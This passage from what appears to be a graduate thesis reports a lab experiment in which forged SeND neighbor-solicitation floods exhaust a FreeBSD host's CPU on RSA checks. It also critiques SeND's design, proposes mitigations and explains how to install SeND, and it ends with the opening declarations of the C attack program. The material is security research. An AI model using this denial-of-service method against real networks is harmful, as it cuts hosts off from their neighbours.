all nodes, hosts and routers alike, into processing it.  A long key forces the Victim to take 
a long time to perform the RSA verification.  The large number of packets significantly 
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lowers the probability that the SeND daemon will process an actual valid ND request 
among the thousands of other packets queued up to be processed. 
E. LAB EXPERIMENT METHODOLOGY 
Initially, the Victim machine was supposed to be an older and slower machine, 
but that made it difficult to monitor other aspects of the machine while under a 
cryptographic DoS attack.  Therefore a brand new machine was used, with a plan to 
artificially limit the amount of CPU cycles available to the SeND daemon while still 
being able to run a variety of utilities monitoring virtual memory, CPU usage, bandwidth, 
sources and numbers of interrupts, and other vital statistics.  To simulate these slower 
processing speeds the SeND daemon was configured with 4096-bit keys.  Longer keys 
also had a side-effect of increasing the packet size, which can potentially affect the 
number of packets during an attack on a media with a limited bandwidth.  A full SeND-
enforced packet built upon a 1024-bit key was about 580 bytes, as it must contain the key 
itself, plus the encrypted version of the digital signature, which contains the public key 
hash, both IPv6 addresses, and almost all other fields from the ICMPv6 and SeND 
portions of the packet before the RSA Option.  Larger keys result in even larger packet 
sizes; for example, a typical SeND packet built around a 4096-bit key was about 1280 
bytes long. 
Both packet size and the computational intensity of the basic operation should be 
a concern for networks with limited bandwidth, or devices with limited processing power.  
In general, networks with no media access control are at risk as it would be easy for an 
attacker to flood the network with large, expensive-to-process packets, consuming 
bandwidth and electrical power, resulting in limiting the responsiveness of nodes on the 
network.  For example, if media access control is not used, a network of mobile wireless 
devices needs a good mechanism to establish authentication and integrity with no central 
Certification Authority.  In theory, SeND would be a great solution for such a case.  
However, due to frequent exchange of large packets, SeND would greatly increase the 
power consumption of such devices.   
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F. NETWORK SETUP 
1. The Victim 
This machine was a FreeBSD 6.2-STABLE installation with SeND version 0.2.  
Originally it was set up as a router, sending out Router Advertisements.  The FreeBSD 
Handbook had some suggestions to make sysctl adjustments to improve the host’s 
capacity to handle high bandwidth and high rate of incoming packets.  No changes 
pertaining to IPv6, ICMPv6, and NDv6 parameters were made, so as to preserve the most 
stock-like behavior of the target machine.  SeND was compiled with only the minimal 
options required to compile on FreeBSD with full debugging capabilities.  The kernel 
was recompiled with options required by the SeND daemon. 
Since this is just a proof of concept, and the victim machine has a very fast 
modern Intel Core 2 Duo CPU, the CPU processing power had to be artificially clamped 
down to get around bandwidth limitations.  For this purpose, the SeND daemon was 
started with a low scheduler priority value (“nice ./sendd”).  In addition, five copies of 
“cat /dev/urandom | bzip2 > /dev/null” were run in parallel with the SeND daemon to 
keep both cores of the CPU busy at all times.  The combination of the parameters 
described above was the minimal amount of slowdown required to DoS the SeND 
daemon.   
2. The Client 
This machine was also a FreeBSD 6.2-STABLE installation with SeND version 
0.2, just like the Victim machine, with the same adjustments made. 
This computer was used exclusively to ping the Victim as a measure of 
connectivity.  Definition of DoS for this exercise meant that this machine was unable to 
ping the Victim.  Simple scripts monitoring the Neighbor Cache were run to monitor the 
changing states of hardware address entries as the DoS attack was launched. 
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3. The Attacker 
This machine was a 2.8GHz Pentium 4 running OpenSuse 10.1 with a LINUX 
2.6.16 kernel.  Sysctl adjustments improved host’s capacity to handle high bandwidth and 
high rate of incoming packets.  No changes pertaining to IPv6, ICMPv6, and NDv6 
parameters were made, so as to preserve the most stock-like behavior of the target 
machine.  SeND was compiled with only the minimal options required to compile on 
Linux with full debugging capabilities.  SeND was used only for the initial testing of 
connectivity to the Victim machine.  Once that was established, the SeND daemon was 
disabled, and this machine was put in ‘stealth’ mode, not requesting or accepting Router 
Advertisements, and it was set with a fixed IPv6 address so it would not go undergo any 
autoconfiguration processes.  This machine was used to develop the attack code, and then 
launch it.   
G. TEST RUNS 
The procedure for the experiment was as follows: 
• All computers were online and on the same network segment, with Victim 




Figure 12.   Monitoring setup on the Client. 
 
• We enabled all monitoring scripts (ndp, systat in multiple modes) on both 



















Figure 13.   Monitoring setup on the Victim 
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Figure 14.   More monitoring utilities on the Victim. 
 
• Client runs ‘ping6 victim%bge0’ command, sending an Echo packet once 
per second to the Victim. 
 
Figure 15.   Full connectivity between Client and Victim. 
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• This view provides us with packet counts and summary, as well as 
sequence numbers allowing us to pinpoint in time when the Client lost connectivity with 
the Victim. 
• The Attacker runs the DoS, flooding the Victim with NS requests. 
 
Figure 16.   Launch of Denial of Service attack 
 
• The Victim starts processing the NS requests and quietly discarding them 
as the RSA signature fails the verification process.  As more and more NS requests come 
in, they overwhelm the CPU capability of RSA verifications, resulting in dropping 
incoming packets. 
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• Victim machine: 
 
Figure 17.   Attacking packet passes the CGA test 
 
Figure 18.   Attacking packet fails the RSA signature test 
• Client: 
 
Figure 19.   Interruptions of service 
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Figure 20.   Interruption of service. 
 
• The REACHABLE state timer on the Client machine decrements to zero 
on the Victim’s address entry, sending an NS to get an update on the hardware address of 
the Victim’s IPv6 address.  His packets get dropped by the overloaded Victim.  After a 
few more tries, the Client loses connectivity to the Victim completely, and the Victim’s 
Neighbor Cache entry oscillates between a completely non-existent and an incomplete 
state when the ping command requests an address resolution and fails. 
 
Figure 21.   Victim’s entry is in INCOMPLETE state, preventing connectivity from 
Client. 
 
• The Attack program is set to a given number of processes and packets.  
When it completes its run, the Client computer successfully performs a NS/NA and 








Figure 23.   Resuming normal connectivity from Victim’s perspective. 
 
H. RESULTS 
The Neighborhood Cache rules [1], [10] call for an initial NS/NA exchange when 
a host tries to contact another host. The target host is then inserted into Neighbor Cache 
in REACHABLE state for a maximum of 40 seconds before another mandatory NS/NA 
exchange.  Therefore, in a normal operation with two hosts communicating, SeND re-
verifies the Neighbor Cache entries on an average of once every 20 seconds.  When the 
attack was initiated, the Client had no knowledge of the Victim computer being 
overloaded with SeND computations.  Attack packets continued to arrive, and the Victim 
was not able to allocate enough CPU cycles to the SeND daemon.  After 20-30 seconds, 
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the Client would lose connectivity to the Victim.  The client then attempted to re-connect, 
with a default assumption that the neighbor was still there, just not responding.  The entry 
for the IPv6 and MAC address of the Victim in the Client’s Neighbor Cache first 
degraded from REACHABLE to DELAY, then PROBE, and eventually the 
INCOMPLETE state.  Here’s a progression of the Neighbor Cache states at the Client 
when the attack was launched: 
 
 
Figure 24.   First stage of reconnection attempt--DELAY state assigned to Victim. 
 
 
Figure 25.   Second stage—PROBE state assigned to Victim’s entry. 
 
 
Figure 26.   Third stage—INCOMPLETE state assigned to Victim’s entry. 
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Figure 28.   The Final stage—the entry for the Victim removed, all attempts of 
connectivity failed. 
 
When the state changed to INCOMPLETE, the Link Layer address in the 
Neighbor Cache changed to incomplete as well, and the Client started to aggressively 
send NS packets, trying to resolve a hardware address for the ping6 command.  At the 
same time, the ECHO packets stopped, as the Client had no knowledge of the hardware 
address of the Victim to send the ECHO packets to.  Upon cancelation of the ping 
process, the Neighbor Cache entry of the Victim disappeared completely. 
I. INTERPRETATION OF MAIN RESULTS 
This experiment was successful in achieving its goals.  The ping packets were 
going across the wire during the first stage of the attack without any loss, indicating that 
the bandwidth and physical connectivity were fine.  The Client has not lost connectivity 
to the Victim until it made an attempt of performing the periodic Neighbor Discovery.  
Regulating the CPU power available to the SeND process on the Victim allowed or 
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disallowed the ND exchanges to proceed as intended.  Running SeND in debugging mode 
with “debug_on send crypto” command shows RSA signature verification failure with 
every processed packet.  When attacking the daemon with 1024-bit key, SeND reported 
250 to 350 signature failures per second.  The same attack, run with a 4096-bit key, 
generated only about 15 to 25 signature failures per second.  Computational power and 
key length used were the only deciding factors between enabling and disabling 
connectivity from Client to Victim. 
There is no silver bullet in protecting the Neighbor Discovery protocol.  
Employing cryptography prevented some of the old attacks, but it also provides attackers 
with an easy interface to implement a whole new class of attacks—CPU exhaustion.  A 
TCP SYN flood attack is a conceptual cousin to this experiment.  Our attack is similar by 
starting a handshake, making the Victim perform operations that will not result in 
anything, but already allocating resources to deal with a client.  If a handshake is more 
than a simple challenge-response scheme, a client is believed by default to have good 
intentions, as the target automatically allocates resources to deal with such a client, even 
before identity, authentication, integrity, or authorization have been dealt with.  This can 
be exploited, whether by memory (Neighbor Cache), CPU (CGA and RSA checks in 
SeND) or kernel resources (TCB’s in the case of a SYN flood).  Until proofs of identity 
and intentions are considered a solved problem, DoS attacks will persist, and creating 
temporary mitigations will only give attackers more opportunities to be creative about 
their exploits. 
Other, bigger issues need to be brought to light as well.  The security of the 
asymmetric cryptography is based on protection of the private keys.  Clients authenticate 
themselves by proving they can sign packets with their private keys. The integrity of 
client’s key is in the client’s hands.  A secure network should not rely on the integrity of 
its clients. If the clients connect using a network with no Media Access Control, no 
statements about the integrity of clients can be made.  When a compromise of a single 
client occurs, an attacker has a perfectly legal set of keys trusted to communicate with 
routers and other clients.  Lack of a central Certification Authority only exacerbates the 
problem, when particular keys or certificates cannot be revoked. 
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In general, security in a zero-knowledge, zero-configuration system seems 
impossible.  Servers and routers require having a priori knowledge of who is joining the 
network.  This limits flexibility and eliminates the possibility of zero-configuration, as an 
inventory of ‘good’ computers would have to be created, maintained and the mechanism 
providing the proof of identity would have be flawless as well.  Without that a priori 
knowledge, anyone capable of faking SeND packets well enough can claim identity and 
possession of arbitrary keys, eliminating any credibility assumed by the authentication 
process.  A reliable authentication scheme at minimum requires a Certification Authority 
(CA), and placing root certificates on the client computers.  Clients then can trust only 
specific routers, but other hosts on the network still have to be verified against the CA. 
1. What Does SeND Really Provide? 
Not much, or at least not as much as it claims.  SeND binds a proof of identity (an 
arbitrary, but corresponding key pair) to an IPv6 address.  Such binding provides no real 
authentication.  The only fact we can establish is that whoever owns an arbitrary pair of 
keys can produce valid SeND packets and send them from a certain IPv6 address.  The 
receivers do not really know who it is that has the keys, and do not know where these 
keys came from.  The keys by themselves do not prove anything either.  Even if SeND 
implementation provided us with a mechanism to store “seen-before” key pairs for a 
longer duration, it would only provide us with a hijack detection at best, as routers or 
hosts would know that a certain IPv6 address is now signing packets with a different key 
pair that happens to generate the same IPv6 address.  SeND in its current state is nothing 
more than a short term hijack prevention mechanism. 
SeND also has functionality to protect the routers, by means of an a priori router 
certificate, or an entry for a trust root.  They were not investigated in depth in this thesis, 
as they violate the initial principle of autoconfiguration with zero a priori knowledge.  
The faults discussed in this thesis would still apply to the certificate protected routers, as 




still completely unauthenticated.  As such, these hosts can launch attacks like the one 
described in this thesis against the ”protected” routers, causing havoc not on a host level, 
but network-wide.   
Bigger questions can be asked about the usefulness of an autoconfiguration 
protocol that cannot even provide an address for a DNS server, especially in the 
networking schema where the networking address is expressed with 16 hexadecimal 
digits.  SeND while novel and creative, is borderline useless and severely unsecure.  
SeND fixes some, but creates new, unavoidable security issues. 
2. Ignorance by Design 
At first, using asymmetric cryptography seemed to be a good approach to 
preventing DoS attacks as it demands a private key signature, but verifying it with a 
much less computationally intense public key.  Theoretically this holds true, but nothing 
stops an attacker from replaying a once created message.  Attackers should not be able to 
do that, because it shifts the burden of computation back onto the receiver, nullifying the 
benefits of using asymmetric cryptography.  SeND does not keep track of machines 
attempting to connect, thus it is unable to prevent a simple replay attack.  If SeND did 
keep track of bad attempts, it would be a trivial exploit to generate random entries faking 
a ‘new’ host on the network, and eventually overpopulate the internal buffers for such a 
list.  Not only does SeND not do that, but the security mechanisms it provides are so 
computationally expensive to run that they can functionally disable the machine.   
Another big design flaw is putting the SeND client in line with the regular TCP/IP 
stack.  Intercepting a packet and modifying it on the fly is an elegant approach, but it 
takes away many tools and stock functionality that come with letting the Operating 
System do its job.  The SeND software and the kernel do not really communicate.  SeND 
is an external filter, and it functions as an extension of the stock functionality.  For 
example, enabling net.inet6.icmp6.nd6_debug=1 on the Victim machine resulted in zero 
messages with SeND guarding the perimeter while millions of packets were attacking it.  
No ICMPv6 messages registered on the “systat –icmp6” monitor either.  The Neighbor 
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Cache table was never populated.  The only way to even notice the attack was to monitor 
the network bandwidth utilization, number of interrupts and CPU utilization as they all 
increased significantly.  This sounds positive but it is not.  It means all the security 
mechanisms that come with a native IPv6 functionality are performed only for SeND-
verified packets, potentially exposing hosts to other attacks.  To prevent such attacks one 
must not forget to include all the security mechanisms that were there before 
augmentation.  If the augmentation implements all of the stock functionality, then it 
becomes a replacement, not an augmentation.  
Debugging and monitoring tools are mostly used to deal with problematic 
situations, and not meant for time of intended operation.  Moving the entire security 
process to what basically is an add-on, forces system administrators to use a whole new 
set of utilities to deal with debugging ICMPv6 packets, as the stock ones rarely see any 
bad traffic.  SeND’s implementation gives the impression of an elegant and clean design, 
but after some logical analysis and empirical testing, it turns out to be a part of the 
problem, not the solution. 
3. Implementation Faults 
The implementation itself, albeit an early version, shows that performance was 
not a primary concern of the implementers.  For example, every incoming packet is 
verified against all SeND ”contexts.“ A SeND context is an internal data structure 
responsible for storing information describing the interface, options, prefixes, and keys 
used to verify a packet.  If SeND was configured with 20 different contexts (i.e., serving 
different prefixes), an incoming packet would go through 21 verifications.  The one extra 
context is created for every incoming packet because it provides another key and a prefix.  
Even though most of the verifications fail quickly (prefix, or a CGA check if the prefix is 
correct), every verification adds unnecessary computation.  This is a probable cause 
behind the much smaller than expected number of packets required to overwhelm a host.  
In debug mode it is clearly visible that the daemon attempts to verify each packet against 
a context that is trivially incorrect.  Hopefully, the function governing packet checking 
will be more efficient in the next version if the authors decide to further develop it. 
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One of the biggest obstacles of creating a SeND packet was to generate a valid 
timestamp, as the implementation of SeND does not follow the specifications.  [2] states:  
“Timestamp Field--A 64-bit unsigned integer field containing a timestamp.  The value 
indicates the number of seconds since January 1, 1970, 00:00 UTC, by using a fixed point 
format.  In this format, the integer number of seconds is contained in the first 48 bits of 
the field, and the remaining 16 bits indicate the number of 1/64K fractions of a second.” 
The number of 1/64K-th in SeND is calculated as usec>>4.  This is equivalent to 
usec/16.  Usec is defined as a long (32bit on testing platforms) value, thus performing a 
BITWISE SHIFT RIGHT 4 on it yields a 28bit value, which can be interpreted as a count 
of 1/16th of a second.  Not only will the 28-bit value not properly fit into a 16-bit area 
that’s reserved for the microsecond portion in the timestamp field, but the value it 
produces is actually wrong.  It seems the implementers meant to shift 16 bits (division by 
64K) which can be interpreted as counting 1/64K-th of the usec field, as well as yielding 
a 16-bit number needed to be inserted into the SeND timestamp option.  Upon much 
debugging, the library code used for the attack was modified to incorporate this wrong, 
but necessary code in the name of producing an attack that works against real, 
unmodified SeND daemons.  The only reason unmodified daemons can currently 
communicate is that they all agree to do the same wrong thing the same way.   
4. Possible Mitigations 
Protection of the Link Layer could have been a crucial part of strengthening the 
protocol, yet SeND completely ignores it.  The designers chose not to use MAC as a part 
of their security bindings, even though this protocol is designed to deal with hosts on the 
same network segment, stating that MAC Layer protection is beyond the scope of their 
project.  The entire ND protocol is about mapping IPv6 to MAC addresses, in addition to 
already breaching the ‘separation of layers’ principle by including SLLA and TLLA 
(Layer Two addresses) in ICMPv6 (Layer Three) packets.  If the MAC address was a part 
of the CGA generation, it would prevent attackers from replaying the same packet from 
randomly generated hardware addresses.  The computational cost of a CGA generation, 
especially when requiring non-zero SEC values, would increase the time so significantly 
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that MAC spoofing would not be a viable attack vector.  With that in place, a cache of 
sources attempting bad verifications does not automatically become another potential 
resource exhaustion opportunity.  Attackers would be forced to use much more 
computing power, and they would be easier to defend against.  Of course this trick is still 
not a real solution; but it would further mitigate or possibly even defeat the attack 
developed as a part of this thesis. 
J. OTHER OBSERVATIONS 
SeND needs at least 15% of the Intel Core 2 Duo 1.86GHz’s computing power to 
be able to properly handle a SeND-augmented NS/NA exchange with another client.  Re-
running the experiment on a 100Mbit and 1000Mbit full duplex switches resulted in 
sustaining about 11MB/sec, and 113MB/sec of traffic respectively.  In both cases, the 
CPU % utilization required for DoS was the same, another indication that the attack was 
not bandwidth saturation, but a CPU processing limit. 
A completely unintended, but interesting event happened during one of the longer 
lasting experiments: the SeND daemon on the Victim node failed with a SEGFAULT 
signal, suddenly allowing a barrage of the spoofed packets to reach the native TCP/IP 
stack instead of being filtered out by the user-land security guard.  The Neighbor Cache 
was populated with a massive amount of fake entries.  This caused the kernel to try 
verifying each of these entries, as well as recording the malformed packets in the syslog, 
causing a massive slowdown of the Victim computer as the syslog daemon committed the 
alerts to the hard drive.  The Client which was there to test the reachability of the Victim 
computer went into an infinite loop of sending out SeND-augmented NS packets with no 
replies.  The Neighbor Cache entries were always monitored to learn about the nature of 
the consequences of the DoS, which had the IP address of the victim reappearing every 
few seconds in the INCOMPLETE state, just as it did during the actual DoS attack.  This 
means the DoS originally written for SeND-enabled hosts also works against the regular, 
SeND-less IPv6 clients. 
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Normally, verification of correctness of some security feature is a single 
operation.  For SeND, it’s a multi-stage checking process, with significantly varied costs 
of the multiple stages.  Some information is hashed; other information is encrypted with a 
public key.  SHA1 hashes are three to five magnitudes faster than decryption using a 
private key.  Some checks need to be executed merely to establish whether two entities 
are identical or not (checksums).  Other portions of the packet (i.e., the public key) 
actually need to be delivered in full.  The split of duties between the CGA and RSA 
portions could have been improved by careful examination of needs of the protocol.  As it 
is now, to find out the MAC address of the sender, the daemon must perform the full 
decryption of the RSA Option, while MAC needs to be included as a part of the CGA 
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VI. CONCLUSIONS AND FUTURE WORK 
The biggest issue with the idea of Cryptographically Generated Addresses as a 
security measure is that it is based on the speed of the computers currently in use.  
Normally the natural computing power increases are defeated with ever-increasing key 
lengths.  In the case of CGA’s, the limit is in the 64 (59 effective) bits used in the IPv6 
address.  IPv6 was designed to last at least few decades, just like IPv4 did, and if in this 
timeframe computers become fast enough to crack 59-bit hash values, all CGA schemes 
will fail, as there is no possibility of expanding their size without changing the entire 
IPv6 address space. 
SeND is a failure on both practical and architectural levels.  While 
implementation sins can be easily forgiven due to the early version of the code, design 
errors cannot be eliminated with clever programming tricks. 
SeND also has some impractical requirements.  It is its role to enable new hosts to 
securely join the network by providing them with all the information needed.  However, 
to do that, it requires a reasonably synchronized clock before it attempts talking to the 
SeND-augmented host.  To have a synchronized clock without extra hardware (i.e., GPS-
based time synchronization), a host needs a valid network address and a default router, 
which SeND should provide given a good clock synchronization on the client.  It is a 
classic chicken-and-egg problem, solvable only with relaxed requirements for how far 
apart the clocks of two hosts can be. To make such a system practical, the allowed time 
discrepancy would have to be so large it would make the timestamp checking process 
irrelevant.  Also, because the timestamp has to be used for calculations, it cannot be 
hashed before sending it out, and SeND sends it as plain text.  This is a potential 
information leakage, allowing attackers to learn the system time of a host.  Regardless of 
that, a timestamp is the weakest form of a nonce, and as such it is peculiar to see it used 
in a scheme with full support for a regular nonce. 
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There are many possible future projects based on this thesis.  A good practical 
exercise would be to leverage the Open Source nature of SeND, and work with the 
existing code base, implementing multiple mitigations.  While the concerns raised in this 
thesis suggest that there is no way of completely securing this protocol, it would be 
interesting to see how many attacks can be mitigated, and which ones will remain 
undefeated. 
Even though 15% of the available CPU time was the usual limit at which the DoS 
occurred, the probability of a NS packet getting processed also seemed to be very 
sensitive to the priority level at which the SeND daemon was running with.  The lower 
the priority, the longer the DoS lasted.  With the recent flurry of scheduler development, 
it would be pertinent to see if, and possibly how differently the new schedulers would 
cope with CPU-bound DoS.  Linux has two new schedulers, the ‘staircase’ scheduler 
developed by Con Kolivas, and the Completely Fair Scheduler, by Ingo Molnar.  In 
FreeBSD, the ULE scheduler that’s been the default for few years have come under much 
scrutiny, and there are proposals to replace it with an older, but apparently more robust, 
KSE scheduler.  In all these cases, the only thing required to do would be to recompile 
the newest kernel sources with the appropriate options, and rerun the experiment. 
Another interesting question raised was why it took only 15 to 25 4096-bit 
packets per second.  The generated packets were never fully legal, therefore they should 
never trigger a reverse NS request, which is the slowest operation for the Victim to do, 
which would be the easiest explanation.  It would be best to run the SeND daemon inside 
of a profiler, and see which functions take up the most time to process.  Just by observing 
SeND’s behavior in the debugging mode brought up to attention that every new address 
is evaluated against every context possible, instead of just being verified against the most 
likely target first:  the context of the same network prefix. 
The most important future project would be to try this attack on hardware 
implementations of SeND, and test it against real network hardware.  This seems highly 
unlikely to happen as there has been very little talk about further development, or any 
integration efforts into the IPv6 protocol suite.   
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Implementing a different sort of asymmetric cryptography would also be an 
interesting exercise, as it would have to exploit properties of different cryptographic 
protocols with respect to key size and speed of operation on the platforms SeND would 
be most likely to be used on.  Elliptic Curve Cryptography (ECC) seems to be a logical 
choice here, as it requires much smaller keys (2048-bit RSA keys as compared to 224-bit 
ECC key (NSA website)), allowing for much smaller packets, and potentially different 
processing speeds.  The SeND protocol has been engineered to use a different encryption 
schema, and it should not require a large redesign. 
Further development of the parser dealing with the main configuration file 
(“sendd.conf”) options would be helpful.  There are a lot of basics options that are not 
implemented yet.  Also, adding a simple configuration field not only for minimum but 
also for maximum key length would help as well, as this would allow administrators to 
tailor the level of cryptography depending on the CPU power of the hardware SeND 
would run on.  This attack will not work on a very fast computer or using short keys.  
Another potential mitigation technique would be for the requests to be performed with 
much longer keys than the resulting reverse authentication.  Again, all the efforts 
influencing the discrepancy in the amount of computation required by the two sides are 
irrelevant when lack of Link Layer security allows attackers to create packets with 
different addresses of origin. 
IPv6 protocol promised a stateless autoconfiguration seamlessly integrated into 
the addressing scheme, and it achieved that.  At the same time, the security issues (no 
authentication or authorization) and practical concerns (no provision for DNS server) 
make it a bad fit for modern day LAN’s.  Stateful autoconfiguration, most likely 
DHCPv6, will be as commonplace as DHCP daemons are on internal IPv4 networks.  
However, the security issues will remain, as self-identifying nodes guarantee no 
authentication.  Central Certificate Authority seems to be the only the only solution, but it 
only allows the attackers to focus on a single target.  Without Link Layer security, 
creating or spoofing new bad phantom hosts is easy.  Building security schemes on layers 
above the Link Layer only limits the range of attack, as the attacker has to be on the same 
network segment as the victim.  With perpetually expanding security perimeters and the 
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LAN’s incorporating VPN’s and wireless networks, proper internal network design and 
segmentation will become more important than ever before, and no longer as only a 
performance consideration.  In today’s networks, proper segmentation should be a 
fundamental security building block as an implementation of the Principle of Least 
Privilege and Defense in Depth. 
 75
APPENDIX A: SEND INSTALLATION AND OPERATION 
Prerequisites and platform dependent procedures 
All these steps must be done as the superuser thus log in as “root” or “su – root” if 
logged in as a non-privileged user.  Full development environment is required, including 
gcc, lex, yacc, binutils, and autoconf packages.  Many modern Linux default installations 
do not include kernel sources, development libraries, or header files, thus installation of 
SeND is recommended on a full installation, not a lightweight desktop configuration. 
Linux: 
SuSE 10.1 came with all the kernel modules that SeND needs compiled, but they 
are not loaded into memory.  To do so, place “modprobe ip6_queue” in 
“/etc/init.d/network” to automatically load it up at every bootup. 
Also, make sure that packages containing all required libraries are loaded on the 
system (readline, libdnet, libipq, ncurses, OpenSSL).  If they are not installed on the 
system, they must be provided before the compilation, or the compilation will fail.  SuSE 
10.1 did not come with the libipq libraries, which must be downloaded and installed from 
http://www.netfilter.org.  The Installation is a straightforward Unix “./configure; make; 
make install” procedure.  What might be not straightforward is the placement of the 
additional libraries.  In case your Linux distribution places them in a nonstandard 
location, reinstall them in proper locations, or create symbolic links to the actual header 
files and libraries. 
For Linux, SeND creates startup/shutdown scripts (“sendd”, “snd_upd_fw”, 
“snd_fw_functions.sh”) that should be placed in the standard “/etc/init.d” directory.  This 
provides a nice integration of the SeND daemon into the system, with proper checking of 
prerequisites on startup, and a cleanup on shutdown.  On Linux, the firewall rules must be 
adjusted before startup and shutdown of SeND, and it will not run without these rules set 
up properly, thus use the official scripts to start and stop the SeND daemon.  You might 




Libdnet is usually not installed by default, therefore it must be installed from the 
updated ports repository (e.g.: “cd /usr/ports/net/libdnet; make install” or any other ports 
management tool) 
FreeBSD also does not provide the necessary NETGRAPH facilities in the kernel.  
Instructions on recompiling the kernel are provided in FreeBSD Handbook, Chapter II, 
Section 8, available online at http://www.freebsd.org/doc/en_US.ISO8859-
1/books/handbook/kernelconfig.html. 
For the purpose of installing SeND this list of options must be added at the end of 






The stock kernel configuration is in “/usr/src/sys/i386/conf/GENERIC”.  It is best 
to make a copy of it “cp /usr/src/sys/i386/conf/GENERIC 
/usr/src/sys/i386/conf/MYKERNEL1”, and then alter the new configuration’s “ident” 
field in with the name of the new kernel (MYKERNEL1 in this example).  At this 
moment you must compile and install the new kernel according to the procedures outline 
in the FreeBSD Handbook.  For a fully automatic start of the SeND daemon on 
FreeBSD6.x, you also need to add “sendd”=”ON” in “/etc/rc.conf” and create a startup 
script using template code provided with FreeBSD.  Once the new kernel is running and 
the required libraries are installed, you can proceed to install the actual SeND software. 
 
SeND installation: 
1. Download SeND from http://www.docomolabs-
usa.com/lab_osrc_downl.html which contains very helpful User Guide, also available 
online at http://www.docomolabs-usa.com/pdf/SEND_UserGuide.pdf 
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2. Move the downloaded files to a parent directory where you want the 
SeND package to be installed, “mv send_0.2.zip /usr/local/;  cd /usr/local/” 
3. Unpacking SeND will automatically create the directories necessary, and 
place all the files within this structure “unzip ./send_0.2.zip” 
4. Go to SeND’s directory “cd /usr/local/send_0.2” and set the desired 
options in “send_0.2\Makefile.config”  The important options here are: 
a. “OS=linux” (or freebsd) depending on your platform 
b. “Prefix=/usr/local/send”  pick the path for the binaries and libraries 
to be stored 
c. “USE_CONSOLE=y”  it will help with debugging, highly 
recommended 
d. “DEBUG_POLICY=DEBUG”  it will help with debugging, highly 
recommended 
5. Compile SeND with a standard “./configure;  make; make install” 
procedure, files will be placed in the directory described by the prefix command in 
Makefile.config as described in the previous point. 
 
At this point you have all the binaries, utilities and libraries placed in 
“/usr/local/send”.  If SeND compiled without problems it is a good sign that it found all 
the necessary libraries.  The best way to see unresolved library dependencies is to run 
“ldd /usr/local/send_0.2/sendd/sendd” as it will show paths of all libraries.  If an entry 
does not have a path, the library is either missing or in a unexpected location. 
 
Configuration of SeND 
Make a directory storing all the keys and configuration files in the standard /etc/ 
directory “mkdir /etc/send”.  The main SeND configuration file is expected to be 
“/etc/sendd.conf”.  This file contains the locations of the keys, location of CGA 
parameter specifications, and a few options.  Keep in mind that as of version 0.2, the 
number of options configurable through this file is very limited comparatively what is 
described in the User Guide.  The parser file (“send_0.2/send/params_lex.l”) indicates 
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that it only recognizes the absolute minimum of options needed for SeND to operate.  If 
you need to change other options, they will have to be hardcoded into source files and 
recompiled.  A reasonable configuration of “/etc/sendd.conf” might look like: 






This will require the CGA parameters to be stored in “/etc/send/cga.params.der” 
and the keys are stored in “/etc/sendd/key.pem”.  Therefore we can proceed to create keys 
needed to operate using the command “cgatool --gen -R 4096 -k /etc/sendd/key.pem -p 
2005:: -o /etc/sendd/cga.params -s 0”.  This command will create a 4096-bit key for the 
interface on 2005:: prefix with SEC value of zero, and placing the key file and the CGA 
parameter file in agreement with the settings in “/etc/sendd.conf” from the example 
above.  It will also print out a new CGA address to stdout, to be used as the IPv6 address. 
If you need to create a new CGA address using the same keys as before, indicate 
which keys should be used with“-k key.pem” and specify a new CGA parameter set 
output with “-o newcga.params.der”. 
If you are altering an existing CGA parameter set invoke the cgatool command 
with “-D cga.params.der”.  This comes in useful if you change the Sec value, or generate 
an address for a different prefix.  Cgatool will use the same keys and modifier as before, 
but the output CGA will be generated from the new set of parameters. 
The different CGA parameters should allow SeND to operate with multiple 
contexts, serving different prefixes, however I was unable to make it do so, which limited 
me to use SeND only using the FE80:: addresses, preventing using SeND to do things 




SeND comes with a very nice, albeit unstable debug mode.  If SeND daemon is 
started with a “-d” parameter, it presents us with an interactive console.  This console can 
be given commands to provide us with more detailed information on particular aspects of 
SeND, and as such it has been a tremendous help in course of experimentation.  
“Debug_levels” gives a list of all the possible sections of details we can request.  
“debug_on sendd cga” gives details on cga verifications, “debug_on libcrypto 
(DETAIL!)” shows the results of all the hashing, encryption and decryption as it is 
happening in real time.  Some of this detail becomes overwhelming or too fast, thus I 
highly recommend running the debug mode SeND in a terminal window with a hefty 
scroll-back buffer.  There is a debug option directing all the messages to the syslog, but I 
was unable to make it work.  Regardless of commands given, the output of the debug 
mode was always sent to stdout, which could not be redirected to a file, due to the 
interactive nature of the debug mode.   
Another limitation of the SeND’s debug mode its instability.  Some commands, 
like “debug_off sendd all” caused an instant SEGFAULT, which resulted in program 
termination with no cleanup procedures running, which on Linux it caused the firewall 
rules to remain in place, which prevented SeND to be started again without running the 
cleanup procedures manually with the “/etc/init.d/sendd stop” command. 
The debug mode is the most helpful utility when crafting SeND like packets, as it 
can display results of many SeND operations.  The usual packet-slicing utilities like 
Wireshark are of not much help, as they do not recognize SeND protocol, displaying only 
ICMPv6 options with large, but meaningless payloads.  On the programming side, the 
debugging mechanism is also simple enough to alter or add extra debugging messages 
directly in the SeND’s source code, providing even more information.  It is not the most 
comfortable tool, but power it provides is well worth the trouble. 
Useful utilities and commands 
Systat with any of the following switches: 
-icmp6: most specific information about ICMPv6 packets 
-ifstat: throughput per interface 
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-iostat: throughput per disk, also CPU usage allocated to user, system, or 
interrupt  
-ip6: general IPv6 packet accounting 
-netstat: active connections 
-pigs: biggest CPU consumers 
-vmstat: general overview of most vital statistics (processes, interrupts, cpu 
load and usage, disk and swap usage) 
 
Ndp is the utility to monitor and manage the Neighbor Cache, and as such is 
crucial to observing SeND’s behavior.  Here’s a short list of the most useful parameters: 
-a shows a list of all Neighbor Cache entries 
-c deletes all Neighbor Cache entries 
-d deletes a specific Neighbor Cache entry 
Ndp is a BSD-only utility, in Linux ‘ip –f inet6 neigh’ commands have roughly 
equivalent purpose. 
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#define HIGH 255 
#define LOW  0 
#define THREAD_NUM  150 
 
/* data structure to hold data to pass to a thread 
   (later converted to processes) */ 
struct thread_data 
{ 
   int thread_id; 
   unsigned char* dev; 
   unsigned char srchw[6]; 
   unsigned char dsthw[6]; 
   unsigned char* pkt; 
   int pkt_len; 
}; 
 
/* array of these thread data structs */ 
struct thread_data thread_data_array[THREAD_NUM]; 
 
/* main function */ 
int main(int argc, char **argv) 
{ 
   thc_cga_hdr *cga_opt; /* CGA header */ 
   thc_key_t *key;   /* public key */ 
   struct in6_addr addr6; /* socket addr */ 
   unsigned char *pkt = NULL; /* generic packet space */ 
   unsigned char *testdst6, *dst6, *cga, *cga6, *dev; /* IPv6 addrs */ 
   /* various parts of packets, temporaries */ 
   char advdummy[16],soldummy[24], prefix[8], addr[50]; 
